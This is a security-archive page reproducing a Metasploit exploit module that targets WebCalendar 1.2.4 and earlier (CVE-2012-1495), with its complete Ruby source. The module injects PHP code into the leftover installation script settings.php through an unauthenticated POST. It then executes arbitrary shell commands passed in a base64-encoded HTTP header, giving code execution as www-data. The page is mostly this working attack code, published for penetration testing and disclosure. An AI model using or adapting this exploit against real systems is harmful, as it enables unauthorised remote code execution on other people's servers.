what you don't know can hurt you

WebCalendar 1.2.4 Pre-Auth Remote Code Injection

WebCalendar 1.2.4 Pre-Auth Remote Code Injection
Posted Apr 30, 2012
Authored by EgiX, sinn3r | Site metasploit.com

This Metasploit modules exploits a vulnerability found in WebCalendar versions 1.2.4 and below. If not removed, the settings.php script meant for installation can be updated by an attacker with injected code. This allows arbitrary code execution as www-data.

tags | exploit, arbitrary, php, code execution
advisories | CVE-2012-1495
MD5 | a55191dbaa9e44a1c3c9352259ba3d7f

WebCalendar 1.2.4 Pre-Auth Remote Code Injection

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
'Description' => %q{
This modules exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or
less. If not removed, the settings.php script meant for installation can be
update by an attacker, and then inject code in it. This allows arbitrary code
execution as www-data.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', #Initial discovery & PoC
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-1495'],
['OSVDB', '81329'],
['EDB', '18775']
],
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'linux'],
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Targets' =>
[
['WebCalendar 1.2.4 on Linux', {}],
],
'Privileged' => false,
'DisclosureDate' => "Apr 23 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
], self.class)
end

def check
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'

res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}/login.php"
})

if res and res.body =~ /WebCalendar v1.2.\d/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end


def exploit
peer = "#{rhost}:#{rport}"

uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'

print_status("#{peer} - Housing php payload...")

# Allow commands to be passed as a header.
# We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
post_data = "app_settings=1"
post_data << "&form_user_inc=user.php"
post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
post_data << "\n"*2
send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}install/index.php",
'data' => post_data
})

print_status("#{peer} - Loading our payload...")

# Execute our payload
send_request_raw({
'method' => 'GET',
'uri' => "#{uri}includes/settings.php",
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})

handler
end
end
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    3 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    33 Files
  • 26
    Oct 26th
    27 Files
  • 27
    Oct 27th
    6 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close